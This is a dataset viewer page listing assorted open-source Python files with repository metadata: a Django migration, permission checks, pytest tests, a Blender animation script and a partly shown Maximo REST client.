xszheng2020/the_stack_dedup_python_hits_6 · Datasets at Hugging Face

cae3a3e72a135d992fe362e05fbe91439eb7881a

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py

Python

blog/blog/migrations/0009_auto_20170609_1503.py

singularitytech/Apostolic-Building-Company-

d808136e36f5a4b60498848b4b1ab667e4bb5c7e

[ "CC-BY-3.0" ]

null

blog/blog/migrations/0009_auto_20170609_1503.py

singularitytech/Apostolic-Building-Company-

d808136e36f5a4b60498848b4b1ab667e4bb5c7e

[ "CC-BY-3.0" ]

3

2017-08-15T16:31:51.000Z

2017-12-01T15:02:33.000Z

blog/blog/migrations/0009_auto_20170609_1503.py

singularitytech/Apostolic-Building-Company-

d808136e36f5a4b60498848b4b1ab667e4bb5c7e

[ "CC-BY-3.0" ]

null

# -*- coding: utf-8 -*- # Generated by Django 1.10.7 on 2017-06-09 15:03 from __future__ import unicode_literals import datetime from django.db import migrations, models from django.utils.timezone import utc import django.utils.timezone class Migration(migrations.Migration): dependencies = [ ('blog', '0008_delete_site'), ] operations = [ migrations.RemoveField( model_name='post', name='article_taxt', ), migrations.RemoveField( model_name='post', name='article_text', ), migrations.AddField( model_name='post', name='image_eight', field=models.ImageField(default='pic_folder/None/no-img.jpg', upload_to='pic_folder/', verbose_name='blogpic'), ), migrations.AddField( model_name='post', name='image_five', field=models.ImageField(default='pic_folder/None/no-img.jpg', upload_to='pic_folder/', verbose_name='blogpic'), ), migrations.AddField( model_name='post', name='image_four', field=models.ImageField(default='pic_folder/None/no-img.jpg', upload_to='pic_folder/', verbose_name='blogpic'), ), migrations.AddField( model_name='post', name='image_one', field=models.ImageField(default='pic_folder/None/no-img.jpg', upload_to='pic_folder/', verbose_name='blogpic'), ), migrations.AddField( model_name='post', name='image_seven', field=models.ImageField(default='pic_folder/None/no-img.jpg', upload_to='pic_folder/', verbose_name='blogpic'), ), migrations.AddField( model_name='post', name='image_six', field=models.ImageField(default='pic_folder/None/no-img.jpg', upload_to='pic_folder/', verbose_name='blogpic'), ), migrations.AddField( model_name='post', name='image_three', field=models.ImageField(default='pic_folder/None/no-img.jpg', upload_to='pic_folder/', verbose_name='blogpic'), ), migrations.AddField( model_name='post', name='image_two', field=models.ImageField(default='pic_folder/None/no-img.jpg', upload_to='pic_folder/', verbose_name='blogpic'), ), migrations.AddField( model_name='post', name='text_five', field=models.TextField(default=datetime.datetime(2017, 6, 9, 15, 2, 42, 979017, tzinfo=utc)), preserve_default=False, ), migrations.AddField( model_name='post', name='text_four', field=models.TextField(default=datetime.datetime(2017, 6, 9, 15, 2, 59, 886721, tzinfo=utc)), preserve_default=False, ), migrations.AddField( model_name='post', name='text_one', field=models.TextField(default=datetime.datetime(2017, 6, 9, 15, 3, 28, 602454, tzinfo=utc)), preserve_default=False, ), migrations.AddField( model_name='post', name='text_three', field=models.TextField(default=django.utils.timezone.now), preserve_default=False, ), migrations.AddField( model_name='post', name='text_two', field=models.TextField(default=datetime.datetime(2017, 6, 9, 15, 3, 50, 863145, tzinfo=utc)), preserve_default=False, ), migrations.AlterField( model_name='post', name='model_pic', field=models.ImageField(default='pic_folder/None/no-img.jpg', upload_to='pic_folder/', verbose_name='blogpic'), ), migrations.AlterModelTable( name='post', table=None, ), ]

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Python

google_calendar/insert_event.py

greyhub/calendar_manager

837a0d938fdd58684279fb32f8a50805bb306fe1

[ "MIT" ]

6

2021-11-23T19:52:55.000Z

2022-03-30T13:45:05.000Z

google_calendar/insert_event.py

greyhub/calendar_manager

837a0d938fdd58684279fb32f8a50805bb306fe1

[ "MIT" ]

null

google_calendar/insert_event.py

greyhub/calendar_manager

837a0d938fdd58684279fb32f8a50805bb306fe1

[ "MIT" ]

1

2021-11-23T10:14:54.000Z

def insert_event(): pass

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Python

tests/python/blender_mqo_test/__init__.py

nutti/bl-mqo

f651736cde2e46014c2f011349567284c3740fac

[ "MIT" ]

24

2020-03-24T11:12:00.000Z

2022-02-19T15:04:26.000Z

tests/python/blender_mqo_test/__init__.py

nutti/bl-mqo

f651736cde2e46014c2f011349567284c3740fac

[ "MIT" ]

12

2019-10-10T01:35:22.000Z

2022-03-31T06:36:05.000Z

tests/python/blender_mqo_test/__init__.py

nutti/bl-mqo

f651736cde2e46014c2f011349567284c3740fac

[ "MIT" ]

4

2019-05-12T16:00:57.000Z

2021-08-30T04:42:24.000Z

from . import import_test from . import export_test

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1b951f9e63b3e5cdd9e6ad222050d82d02d7299e

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py

Python

delira/models/segmentation/__init__.py

NKPmedia/delira

a10227e30c14c6507a1790813e53572e0d841c21

[ "BSD-2-Clause" ]

null

delira/models/segmentation/__init__.py

NKPmedia/delira

a10227e30c14c6507a1790813e53572e0d841c21

[ "BSD-2-Clause" ]

null

delira/models/segmentation/__init__.py

NKPmedia/delira

a10227e30c14c6507a1790813e53572e0d841c21

[ "BSD-2-Clause" ]

null

from delira import get_backends if "TORCH" in get_backends(): from .unet import UNet2dPyTorch, UNet3dPyTorch

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1bae3ea3a76f0e196b96b25b23e3f130ca8d1518

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py

Python

main/__init__.py

download-pdf/downloadpdf

dd30036fbd910db9dd37e4fd801744f52fe340bf

[ "MIT" ]

1

2021-09-24T11:28:42.000Z

main/__init__.py

PythonCheatsheet/downloadpdf

dd30036fbd910db9dd37e4fd801744f52fe340bf

[ "MIT" ]

9

2021-09-13T06:54:56.000Z

2021-10-14T06:42:37.000Z

main/__init__.py

download-pdf/downloadpdf

dd30036fbd910db9dd37e4fd801744f52fe340bf

[ "MIT" ]

1

2021-02-23T00:53:24.000Z

#!/usr/bin/env python3 from main.scrape import scrapeHREF from main.download import downloadPDF

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94140d6e4b19a26e77ac4bbbd01045690c08b1f3

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py

Python

twittcher/__init__.py

Zulko/twittcher

3ec1a0f9b558e9595cf0eb59d4fce638cd00009c

[ "MIT" ]

37

2015-01-16T21:34:07.000Z

2021-07-30T16:33:46.000Z

twittcher/__init__.py

Zulko/twittcher

3ec1a0f9b558e9595cf0eb59d4fce638cd00009c

[ "MIT" ]

1

2017-12-23T22:28:33.000Z

2018-10-06T15:49:07.000Z

twittcher/__init__.py

Zulko/twittcher

3ec1a0f9b558e9595cf0eb59d4fce638cd00009c

[ "MIT" ]

8

2015-03-09T11:08:47.000Z

2021-09-21T02:50:27.000Z

""" twittcher/__init__.py """ __all__ = ["PageWatcher", "UserWatcher", "SearchWatcher", "Tweet", "TweetSender"] from .twittcher import (PageWatcher, UserWatcher, SearchWatcher, Tweet, TweetSender) from .version import __version__

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6

94354d60aacd59849b4e72d64fc390f0ac8aace7

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py

Python

actionplan/permissions.py

hisham2k9/IMS-and-CAPA

9f70988a6411c72ab4f0cbc818b84db58a28076f

[ "MIT" ]

null

actionplan/permissions.py

hisham2k9/IMS-and-CAPA

9f70988a6411c72ab4f0cbc818b84db58a28076f

[ "MIT" ]

15

2021-03-19T03:43:56.000Z

2022-03-12T00:30:55.000Z

actionplan/permissions.py

hisham2k9/IMS-and-CAPA

9f70988a6411c72ab4f0cbc818b84db58a28076f

[ "MIT" ]

null

from django.contrib.auth.models import User, Group from .models import actionplanmodel from django.shortcuts import render, HttpResponseRedirect,get_object_or_404, redirect class permissions(): def edit_perm(self,request, pk=0): obj=get_object_or_404(actionplanmodel,pk=pk) switch1=getattr(obj, 'task_assign_switch') switch2=getattr(obj, 'status_change_switch') switch3=getattr(obj, 'completion_switch') switch4=getattr(obj, 'verified_switch') taskactor=getattr(obj, 'task_assigned_to') taskmaker=getattr(obj, 'task_assign_username') if request.user==taskmaker: if switch1==False and switch2==False: return True if request.user==taskactor: if switch2==False and switch3==False: return True elif switch3==False and switch4==False: return True else: return False if request.user.groups.filter(name='Super_Validators').exists(): if switch1==False and switch2==False: return True elif switch3==True and switch4==False: return True else: return False if request.user.groups.filter(name='admins').exists(): return True def delete_perm(self,request, pk=0): obj=get_object_or_404(actionplanmodel,pk=pk) switch1=getattr(obj, 'task_assign_switch') switch2=getattr(obj, 'status_change_switch') switch3=getattr(obj, 'completion_switch') switch4=getattr(obj, 'verified_switch') taskactor=getattr(obj, 'task_assigned_to') taskmaker=getattr(obj, 'task_assign_username') if request.user.groups.filter(name='Super_Validators').exists(): return True if request.user.groups.filter(name='admins').exists(): return True def create_perm(self,request): if request.user.groups.filter(name='Super_Validators').exists(): return True if request.user.groups.filter(name='admins').exists(): return True #edit option #if task asssigned swith true and user = investigation return true #if completion is true and user = supervalidator return true # # obj=get_object_or_404(actionplanmodel,pk=pk) # switch1=getattr(obj, 'submit_confirm_switch') # switch2=getattr(obj, 'assign_qa_comments_confirm_switch') # switch3=getattr(obj, 'investigation_confirm_switch') # switch4=getattr(obj, 'validation_confirm_switch') # switch5=getattr(obj, 'closure_confirm_switch') # investigator=getattr(obj, 'qa_assign_to') # submitter=getattr(obj, 'submission_confirm_user') # def post(self, request): # #assigns request.post to imssubmission form # ##this logic verifies if saved form has come for edit or new form. # ptform,formset=resources.editornew(request) # #submit or save # if 'submission' in request.POST: # if ptform.is_valid() and formset.is_valid(): # #dealing with pt form # pt_instance=ptform.save() # pk=pt_instance.id # formsetsave=resources.validateformset(formset,imssubmissionfiles , pt_instance) # else: # context={} # detailform=imssubmissiondetailsform(request.POST) # context['ptform']=ptform # context['detailform']=detailform # context['formset']=formset # template='ims/imssubmission.html' # return render(request, template, context) # instance=get_object_or_404(imsmodel, pk=pk) # detailform=imssubmissiondetailsform(request.POST, instance=instance) # if detailform.is_valid(): # detail_instance=detailform.save(commit=False) # detail_instance.submit_confirm_switch=True # detail_instance.report_to='quality' # detail_instance.submission_confirm_user=request.user # detail_instance.submission_update_timestamp=datetime.datetime.now() # detail_instance.save() # messages.info(request, 'Your form is successfully submitted') # else: # context={} # detailform=imssubmissiondetailsform(request.POST) # context['ptform']=ptform # context['detailform']=detailform # context['formset']=formset # template='ims/imssubmission.html' # return render(request, template, context) # # context=resources.imslistcontext(request) # return HttpResponseRedirect('imsview') # elif 'save' in request.POST: # if ptform.is_valid() and formset.is_valid(): # pt_instance=ptform.save() # pk=pt_instance.id # formsetsave=resources.validateformset(formset,imssubmissionfiles , pt_instance) # else: # context={} # detailform=imssubmissiondetailsform(request.POST) # context['ptform']=ptform # context['detailform']=detailform # context['formset']=formset # template='ims/imssubmission.html' # return render(request, template, context) # instance=get_object_or_404(imsmodel, pk=pk) # detailform=imssubmissiondetailsform(request.POST, instance=instance) # if detailform.is_valid(): # detail_instance=detailform.save(commit=False) # detail_instance.submit_confirm_switch=False # detail_instance.report_to='quality' # detail_instance.submission_confirm_user=request.user # detail_instance.submission_update_timestamp=datetime.datetime.now() # detail_instance.save() # messages.info(request,'Your form is saved') # else: # context={} # detailform=imssubmissiondetailsform(request.POST) # context['ptform']=ptform # context['detailform']=detailform # context['formset']=formset # template='ims/imssubmission.html' # return render(request, template, context) # return HttpResponseRedirect('imsview')

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py

Python

project_euler/solutions/problem_76.py

cryvate/project-euler

6ed13880d7916c34554559f5f71662a863735eda

[ "MIT" ]

null

project_euler/solutions/problem_76.py

cryvate/project-euler

6ed13880d7916c34554559f5f71662a863735eda

[ "MIT" ]

9

2017-02-20T23:41:40.000Z

2017-04-16T15:36:54.000Z

project_euler/solutions/problem_76.py

cryvate/project-euler

6ed13880d7916c34554559f5f71662a863735eda

[ "MIT" ]

null

from ..library.combinatorics.partitions import partitions def solve(index: int=100) -> int: return partitions(index) - 1

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6

846cf325b9970f58dd748c9b5f33c63a2326ce7b

41

py

Python

wef/items/api/serializers/__init__.py

deadlylaid/study_alone

a024363ed1ab06fbb21a9b5da6a04eda9d7dfb35

[ "MIT" ]

6

2016-08-15T07:23:47.000Z

2018-08-11T12:38:47.000Z

wef/items/api/serializers/__init__.py

deadlylaid/book_connect

a024363ed1ab06fbb21a9b5da6a04eda9d7dfb35

[ "MIT" ]

24

2016-08-05T06:30:11.000Z

2022-03-11T23:20:18.000Z

wef/items/api/serializers/__init__.py

deadlylaid/study_alone

a024363ed1ab06fbb21a9b5da6a04eda9d7dfb35

[ "MIT" ]

null

from .booklist import BookListSerializer

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6

849daef4bf1366cf4e69a81cf1c289d244244c61

26

py

Python

cadence/constraints/__init__.py

tomaarsen/cadence

c6878c6224aac6c26efc9dbd59a1de551df85e8f

[ "MIT" ]

12

2021-03-29T17:41:26.000Z

2022-02-03T07:30:05.000Z

cadence/constraints/__init__.py

tomaarsen/cadence

c6878c6224aac6c26efc9dbd59a1de551df85e8f

[ "MIT" ]

1

2021-03-30T11:12:44.000Z

2021-03-30T14:56:50.000Z

cadence/constraints/__init__.py

tomaarsen/cadence

c6878c6224aac6c26efc9dbd59a1de551df85e8f

[ "MIT" ]

3

2021-03-29T18:52:27.000Z

2022-01-15T06:50:21.000Z

from .constraints import *

26

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true

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6

84b56c7d51814f9819f301abfdf833da191afe0d

156

py

Python

vehicle/vehicle/utils/__init__.py

not-decided-yet/parky-server

5a2807d1cfeb7cd9d1602b429407589c847d3608

[ "MIT" ]

null

vehicle/vehicle/utils/__init__.py

not-decided-yet/parky-server

5a2807d1cfeb7cd9d1602b429407589c847d3608

[ "MIT" ]

null

vehicle/vehicle/utils/__init__.py

not-decided-yet/parky-server

5a2807d1cfeb7cd9d1602b429407589c847d3608

[ "MIT" ]

null

from .common import Singleton, get_logger from .crypto import rsa_decrypt, rsa_encrypt __all__ = ["get_logger", "Singleton", "rsa_decrypt", "rsa_encrypt"]

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py

Python

tests/test_images.py

kylape/ocdeployer

0c4af12345a0c3eeb3e5c90d7962e77f9def4d10

[ "MIT" ]

13

2018-10-16T12:47:26.000Z

2021-01-27T19:31:28.000Z

tests/test_images.py

kylape/ocdeployer

0c4af12345a0c3eeb3e5c90d7962e77f9def4d10

[ "MIT" ]

14

2018-11-09T09:40:05.000Z

2021-04-22T19:56:21.000Z

tests/test_images.py

kylape/ocdeployer

0c4af12345a0c3eeb3e5c90d7962e77f9def4d10

[ "MIT" ]

16

2018-11-08T18:08:49.000Z

2022-03-27T03:46:17.000Z

import pytest from ocdeployer.images import ImageImporter, import_images @pytest.fixture def mock_oc(mocker): _mock_oc = mocker.patch("ocdeployer.images.oc") mocker.patch("ocdeployer.images.get_json", return_value={}) yield _mock_oc def _check_oc_calls(mocker, mock_oc): assert mock_oc.call_count == 2 calls = [ mocker.call( "import-image", "image1:tag", "--from=docker.url/image1:sometag", "--confirm", "--scheduled=True", _reraise=True, ), mocker.call( "import-image", "image2:tag", "--from=docker.url/image2:sometag", "--confirm", "--scheduled=True", _reraise=True, ), ] mock_oc.assert_has_calls(calls) def test_images_short_style_syntax(mocker, mock_oc): config_content = { "images": [ {"image1:tag": "docker.url/image1:sometag"}, {"image2:tag": "docker.url/image2:sometag"}, ] } ImageImporter.imported_istags = [] import_images(config_content, []) _check_oc_calls(mocker, mock_oc) def test_images_long_style_syntax(mocker, mock_oc): config_content = { "images": [ {"istag": "image1:tag", "from": "docker.url/image1:sometag"}, {"istag": "image2:tag", "from": "docker.url/image2:sometag"}, ] } ImageImporter.imported_istags = [] import_images(config_content, []) _check_oc_calls(mocker, mock_oc) def test_images_old_style_syntax(mocker, mock_oc): config_content = { "images": { "image1:tag": "docker.url/image1:sometag", "image2:tag": "docker.url/image2:sometag", } } ImageImporter.imported_istags = [] import_images(config_content, []) _check_oc_calls(mocker, mock_oc) def test_images_mixed_style_syntax(mocker, mock_oc): config_content = { "images": [ {"image1:tag": "docker.url/image1:sometag"}, {"istag": "image2:tag", "from": "docker.url/image2:sometag"}, ] } ImageImporter.imported_istags = [] import_images(config_content, []) _check_oc_calls(mocker, mock_oc) def test_images_conditional_images(mocker, mock_oc): config_content = { "images": [ {"istag": "image1:tag", "from": "docker.url/image1:sometag", "envs": ["qa", "prod"]}, {"istag": "image2:tag", "from": "docker.url/image2:sometag"}, ] } ImageImporter.imported_istags = [] import_images(config_content, ["prod"]) _check_oc_calls(mocker, mock_oc) def test_images_conditional_ignore_image(mocker, mock_oc): config_content = { "images": [ {"istag": "image1:tag", "from": "docker.url/image1:sometag", "envs": ["qa", "prod"]}, {"istag": "image2:tag", "from": "docker.url/image2:sometag"}, ] } ImageImporter.imported_istags = [] import_images(config_content, ["foo"]) assert mock_oc.call_count == 1 calls = [ mocker.call( "import-image", "image2:tag", "--from=docker.url/image2:sometag", "--confirm", "--scheduled=True", _reraise=True, ) ] mock_oc.assert_has_calls(calls)

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0.085153

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127

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0.080808

false

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0.252525

0

null

0

1

0

null

0

6

ca0df06c08e56c7fb874fd1254cd06770ab9a219

315

py

Python

novice/python-unit-testing/code/test_something.py

Southampton-RSG/swc-template

cf2d60db13a94d45c73fe0437f0c02770390e052

[ "CC-BY-4.0" ]

null

novice/python-unit-testing/code/test_something.py

Southampton-RSG/swc-template

cf2d60db13a94d45c73fe0437f0c02770390e052

[ "CC-BY-4.0" ]

null

novice/python-unit-testing/code/test_something.py

Southampton-RSG/swc-template

cf2d60db13a94d45c73fe0437f0c02770390e052

[ "CC-BY-4.0" ]

null

from something import something def test_empty(): assert something([]) == [] def test_single_value(): assert something(['a']) == [] def test_two_values(): assert something(['a', 'b']) == [('a', 'b')] def test_three_values(): assert something(['a', 'b', 'c']) == [('a', 'b'), ('a', 'c'), ('b', 'c')]

22.5

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41

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4.04878

0.365854

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0.289157

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0.277108

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315

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true

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0.555556

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null

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null

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0

1

0

1

0

6

04acded83b759a4e35b60d1aae8e3c5e9d1f62f2

2,680

py

Python

tests/test_datadict.py

edd313/ndicts

c464ae7d78c03f08d989fb5cecfbbe3d9b41da8a

[ "MIT" ]

3

2022-03-08T12:40:09.000Z

2022-03-09T06:47:11.000Z

tests/test_datadict.py

edd313/ndicts

c464ae7d78c03f08d989fb5cecfbbe3d9b41da8a

[ "MIT" ]

null

tests/test_datadict.py

edd313/ndicts

c464ae7d78c03f08d989fb5cecfbbe3d9b41da8a

[ "MIT" ]

null

"""Tests for the DataDict class""" from ndicts.ndicts import Arithmetics, DataDict, NestedDict def test_inheritance(): assert isinstance(DataDict(), (NestedDict, Arithmetics)) def test_arithmetics(): iterables = ["ab", "ab"] v1, v2 = 1, 2 dd1 = DataDict.from_product(*iterables, value=v1) dd2 = DataDict.from_product(*iterables, value=v2) assert dd1 + dd2 == DataDict.from_product(*iterables, value=v1 + v2) assert dd2 + dd1 == DataDict.from_product(*iterables, value=v1 + v2) assert dd1 - dd2 == DataDict.from_product(*iterables, value=v1 - v2) assert dd2 - dd1 == DataDict.from_product(*iterables, value=v2 - v1) assert dd1 * dd2 == DataDict.from_product(*iterables, value=v1 * v2) assert dd2 * dd1 == DataDict.from_product(*iterables, value=v1 * v2) assert dd1 / dd2 == DataDict.from_product(*iterables, value=v1 / v2) assert dd2 / dd1 == DataDict.from_product(*iterables, value=v2 / v1) assert dd1**dd2 == DataDict.from_product(*iterables, value=v1**v2) assert dd2**dd1 == DataDict.from_product(*iterables, value=v2**v1) assert dd1 // dd2 == DataDict.from_product(*iterables, value=v1 // v2) assert dd2 // dd1 == DataDict.from_product(*iterables, value=v2 // v1) assert dd1 % dd2 == DataDict.from_product(*iterables, value=v1 % v2) assert dd2 % dd1 == DataDict.from_product(*iterables, value=v2 % v1) def test_arithmetics_extract(): """Extract a DataDict, and perform an operation back with the original one""" dd = DataDict.from_product("ab", "ab", value=2) dd_extract = dd.extract["", "b"] assert dd - dd_extract == DataDict({"a": {"a": 2, "b": 0}, "b": {"a": 2, "b": 0}}) dd = DataDict.from_product("ab", "ab", value=2) dd_extract = dd.extract["a"] assert dd * dd_extract == DataDict({"a": {"a": 4, "b": 4}, "b": {"a": 2, "b": 2}}) def test_apply(): dd = DataDict.from_product("ab", "ab", value=1) assert dd.apply(lambda x: 2 * x + 1) == DataDict.from_product("ab", "ab", value=3) dd.apply(lambda x: 2 * x + 1, inplace=True) assert dd == DataDict.from_product("ab", "ab", value=3) def test_reduce(): dd = DataDict.from_product("ab", "ab", value=1) assert dd.reduce(lambda x, y: x + y) == sum(dd.values()) assert dd.reduce(lambda x, y: x + y, 3) == sum(dd.values()) + 3 def test_total(): dd = DataDict.from_product("ab", "ab", value=1) assert dd.total() == 4 def test_mean(): dd = DataDict.from_product("ab", "ab", value=1) assert dd.mean() == 1 def test_std(): dd = DataDict.from_product("ab", "ab", value=1) assert dd.std() == 0

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1

0

1

0

null

0

1

0

6

b6d85305f3c1739d07197cb289602a98f44893b1

9,427

py

Python

blender_models/generate_animation_frames.py

ccai1/VisualTango

798390f78a9e2d4e1009425a17253849ebd65e3d

[ "MIT" ]

null

blender_models/generate_animation_frames.py

ccai1/VisualTango

798390f78a9e2d4e1009425a17253849ebd65e3d

[ "MIT" ]

null

blender_models/generate_animation_frames.py

ccai1/VisualTango

798390f78a9e2d4e1009425a17253849ebd65e3d

[ "MIT" ]

null

########################################## # This is a Blender script # should by copy the text into Blender # This basically generate all the frames using # the poses. ########################################## import bpy scene = bpy.context.scene # get current frame using scene.frame_current # choose whole body bones bpy.ops.pose.select_all(action='SELECT') index = 0 # standing scene.frame_set(index) bpy.ops.poselib.apply_pose(pose_index=1) bpy.ops.anim.keyframe_insert_menu(type='WholeCharacter') # direction for direction in ["north", "northwest", "northeast"]: # height for height in ["high", "low"]: # weighted foot for weight in ["left", "right"]: # unweighted foot for unweighted in ["collected", "crossed-forward", "forward", "backward", "in-air-forward", "in-air-backward", "slide-out-side", "wrapped-around-front"]: # leaning for leaning in ["neutral", "forward", "backward", "toward-weighted", "toward-unweighted"]: index += 1 bpy.ops.pose.select_all(action='SELECT') scene.frame_set(index) # apply the initial standing pose to whole body bpy.ops.poselib.apply_pose(pose_index=1) # apply hand pose bpy.ops.poselib.apply_pose(pose_index=11) # apply direction if direction == "north": bpy.ops.poselib.apply_pose(pose_index=2) elif direction == "northwest": bpy.ops.poselib.apply_pose(pose_index=3) else: bpy.ops.poselib.apply_pose(pose_index=4) # apply weighted foot with height feature if weight == "left" and height == "high": bpy.ops.poselib.apply_pose(pose_index=25) elif weight == "right" and height == "high": bpy.ops.poselib.apply_pose(pose_index=24) elif weight == "left" and height == "low": bpy.ops.poselib.apply_pose(pose_index=6) else: bpy.ops.poselib.apply_pose(pose_index=5) # apply unweighted foot with height feature if height == "high" and weight == "left": if unweighted == "collected": bpy.ops.poselib.apply_pose(pose_index=26) elif unweighted == "crossed-forward": bpy.ops.poselib.apply_pose(pose_index=28) elif unweighted == "forward": bpy.ops.poselib.apply_pose(pose_index=30) elif unweighted == "backward": bpy.ops.poselib.apply_pose(pose_index=32) elif unweighted == "in-air-forward": bpy.ops.poselib.apply_pose(pose_index=34) elif unweighted == "in-air-backward": bpy.ops.poselib.apply_pose(pose_index=36) elif unweighted == "slide-out-side": bpy.ops.poselib.apply_pose(pose_index=38) else: # "wrapped-around-front" bpy.ops.poselib.apply_pose(pose_index=40) elif height == "high" and weight == "right": if unweighted == "collected": bpy.ops.poselib.apply_pose(pose_index=27) elif unweighted == "crossed-forward": bpy.ops.poselib.apply_pose(pose_index=29) elif unweighted == "forward": bpy.ops.poselib.apply_pose(pose_index=31) elif unweighted == "backward": bpy.ops.poselib.apply_pose(pose_index=33) elif unweighted == "in-air-forward": bpy.ops.poselib.apply_pose(pose_index=35) elif unweighted == "in-air-backward": bpy.ops.poselib.apply_pose(pose_index=37) elif unweighted == "slide-out-side": bpy.ops.poselib.apply_pose(pose_index=39) else: # "wrapped-around-front" bpy.ops.poselib.apply_pose(pose_index=41) elif height == "low" and weight == "left": if unweighted == "collected": bpy.ops.poselib.apply_pose(pose_index=7) elif unweighted == "crossed-forward": bpy.ops.poselib.apply_pose(pose_index=9) elif unweighted == "forward": bpy.ops.poselib.apply_pose(pose_index=13) elif unweighted == "backward": bpy.ops.poselib.apply_pose(pose_index=14) elif unweighted == "in-air-forward": bpy.ops.poselib.apply_pose(pose_index=16) elif unweighted == "in-air-backward": bpy.ops.poselib.apply_pose(pose_index=18) elif unweighted == "slide-out-side": bpy.ops.poselib.apply_pose(pose_index=20) else: # "wrapped-around-front" bpy.ops.poselib.apply_pose(pose_index=22) else: # height == "low" and weight == "right" if unweighted == "collected": bpy.ops.poselib.apply_pose(pose_index=8) elif unweighted == "crossed-forward": bpy.ops.poselib.apply_pose(pose_index=10) elif unweighted == "forward": bpy.ops.poselib.apply_pose(pose_index=12) elif unweighted == "backward": bpy.ops.poselib.apply_pose(pose_index=15) elif unweighted == "in-air-forward": bpy.ops.poselib.apply_pose(pose_index=17) elif unweighted == "in-air-backward": bpy.ops.poselib.apply_pose(pose_index=19) elif unweighted == "slide-out-side": bpy.ops.poselib.apply_pose(pose_index=21) else: # "wrapped-around-front" bpy.ops.poselib.apply_pose(pose_index=23) # leaning if height == "high": if leaning == "neutral": pass elif leaning == "forward": if weight == "left": bpy.ops.poselib.apply_pose(pose_index=47) else: bpy.ops.poselib.apply_pose(pose_index=46) elif leaning == "backward": if weight == "left": bpy.ops.poselib.apply_pose(pose_index=49) else: bpy.ops.poselib.apply_pose(pose_index=48) elif leaning == "toward-weighted": if weight == "left": bpy.ops.poselib.apply_pose(pose_index=57) else: # right bpy.ops.poselib.apply_pose(pose_index=55) else: # "toward-unweighted" if weight == "left": bpy.ops.poselib.apply_pose(pose_index=56) else: # right bpy.ops.poselib.apply_pose(pose_index=54) else: # low if leaning == "neutral": pass elif leaning == "forward": if weight == "left": bpy.ops.poselib.apply_pose(pose_index=43) else: # right bpy.ops.poselib.apply_pose(pose_index=42) elif leaning == "backward": if weight == "left": bpy.ops.poselib.apply_pose(pose_index=45) else: # right bpy.ops.poselib.apply_pose(pose_index=44) elif leaning == "toward-weighted": if weight == "left": bpy.ops.poselib.apply_pose(pose_index=53) else: # right bpy.ops.poselib.apply_pose(pose_index=51) else: # "toward-unweighted" if weight == "left": bpy.ops.poselib.apply_pose(pose_index=52) else: # right bpy.ops.poselib.apply_pose(pose_index=50) # insert into a new frame bpy.ops.anim.keyframe_insert_menu(type='WholeCharacter')

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0.089942

0.182302

0.252418

0.779014

0.767892

0.722921

0.651354

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0

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0.446271

9,427

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false

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1

0

1

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null

0

6

8e34588677450b05797aa70a8161041bb1a37f18

9,219

py

Python

src/maximopyclient/OSResource.py

ibmmaximorestjsonapis/maximopyclient

693b671e0c6ab6ba7098e5f27b0117461f02d00f

[ "Apache-2.0" ]

null

src/maximopyclient/OSResource.py

ibmmaximorestjsonapis/maximopyclient

693b671e0c6ab6ba7098e5f27b0117461f02d00f

[ "Apache-2.0" ]

null

src/maximopyclient/OSResource.py

ibmmaximorestjsonapis/maximopyclient

693b671e0c6ab6ba7098e5f27b0117461f02d00f

[ "Apache-2.0" ]

null

''' Created on Jul 28, 2020 @author: AnamitraBhattacharyy ''' class OSResource: def __init__(self, name, conn): self.name = name self.conn = conn self.ctx = "/os/" self.next_page_uri = None def fetch_resource(self, uri, select_clause, stream=False): if stream: self.ctx = "/stream/" else: self.ctx = "/os/" params = {} if select_clause is not None: select_clause.params().update(params) if uri is not None: self.conn.do_get(uri, params=params, headers=self.header_params) else: uri = self.conn.url+self.ctx+self.name.lower() self.conn.do_get(uri, params=params, headers=self.header_params) def fetch_all(self, where_clause=None, select_clause=None, uri=None, params=None, data_format="JSON", stream=False): if stream: self.ctx = "/stream/" else: self.ctx = "/os/" if params is None: params = {} params["ignorecollectionref"] = "1" if data_format== "CSV" or data_format == "XML": params["_format"] = data_format if where_clause is not None: params.update(where_clause.params()) if select_clause is not None: params.update(select_clause.params()) resp = None if uri is not None: resp = self.conn.do_get(uri, params=params) else: uri = self.conn.url+self.ctx+self.name.lower() resp = self.conn.do_get(uri, params=params) if resp.status_code>=400: raise Exception(resp.json()["Error"]["message"]) if data_format.lower() == "json": return resp.json() else: return resp.text() def fetch_first_page(self, where_clause=None, uri=None, select_clause=None, page_size=1000, stable=True, stream=False): if stream: self.ctx = "/stream/" else: self.ctx = "/os/" if stable == True and self.conn.session == False: raise Exception("stable paging not supported without session") params = {'oslc.pageSize': page_size,'ignorecollectionref': '1'} if where_clause is not None: params.update(where_clause.params()) if select_clause is not None: params.update(select_clause.params()) if stable: params['stablepaging'] = '1' if uri is not None: resp = self.conn.do_get(uri, params=params) else: uri = self.conn.url+self.ctx+self.name.lower() resp = self.conn.do_get(uri, params=params) if resp.status_code >= 400: raise Exception(resp.json()["Error"]["message"]) self.conn.session = resp.cookies['JSESSIONID'] resp_data = resp.json() if 'nextPage' in resp_data['responseInfo']: self.next_page_uri = resp_data['responseInfo']['nextPage']['href'] return resp_data def has_next_page(self): return self.next_page_uri is not None def fetch_next_page(self): if self.next_page_uri is not None: resp = self.conn.do_get(self.next_page_uri) if resp.status_code>=400: raise Exception(resp.json()["Error"]["message"]) resp_data = resp.json() self.next_page_uri = None if 'nextPage' in resp_data['responseInfo']: self.next_page_uri = resp_data['responseInfo']['nextPage']['href'] return resp_data else: raise Exception("no next page") def create(self, json_data, uri=None, select_clause=None): if uri is None: uri = self.conn.url+self.ctx+self.name.lower() headers = {} if select_clause is not None: headers["properties"] = select_clause.to_string() resp = self.conn.do_post(uri, params={}, headers=headers, data=json_data) if resp.status_code>=400: raise Exception(resp.json()["Error"]["message"]) if select_clause is not None: return resp.json() else: return resp.headers['location'] def replace(self, json_data, uri, select_clause=None): if uri is None: uri = json_data['href'] if uri is None: raise Exception("missing uri") headers={} if select_clause is not None: headers['properties'] = select_clause.to_string() headers['x-method-override'] = 'PATCH' resp = self.conn.do_post(uri, params={}, headers=headers, data=json_data) if resp.status_code >= 400: raise Exception(resp.json()["Error"]["message"]) return resp.json() def merge(self, json_data, uri=None, select_clause=None): if uri is None: uri = json_data['href'] if uri is None: raise Exception("missing uri") headers={} if select_clause is not None: headers['properties'] = select_clause.to_string() headers['x-method-override']='PATCH' headers['patchtype'] = 'MERGE' headers['content-type'] = 'application/json' resp = self.conn.do_post(uri, params={}, headers=headers, data=json_data) if resp.status_code >= 400: raise Exception(resp.json()["Error"]["message"]) elif resp.status_code == 200: return resp.json() def 